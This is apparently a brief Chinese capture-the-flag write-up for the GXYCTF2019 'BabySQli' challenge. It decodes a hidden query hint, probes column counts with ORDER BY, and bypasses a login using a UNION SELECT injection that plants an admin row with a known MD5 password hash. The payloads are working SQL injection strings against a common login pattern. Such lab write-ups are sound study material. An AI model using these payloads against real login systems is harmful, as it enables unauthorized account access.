[GXYCTF2019]BabySQli
11/26/2020
阴雨 正常
查看网页源代码 发现search.php
访问search.php 发现
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
尝试base32+base64解密后得到select * from user where username = ‘$name’
接下来进行fuzzing 测试 在测试admin字段时得到回应 wrong pass 说明用户是admin
测试字段
1' Order by 4#
只有3个字段
使用联合注入
1' union select 'admin',2,3
回显wrong user
说明用户名不在第一列
1' union select 1,'admin',3
回显wrong pass
知识点
当查询的数据不存在时,联合查询就会构造一个虚拟的数据
输入admin,密码为md5(123456),代入查询时MySQL里面就会生成admin,123456的用户
同时使用123456密码进行登录,就可以绕过限制
利用这个知识点 我们可以构造payload
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'--+&pw=123456
POST提交数据即可获得flag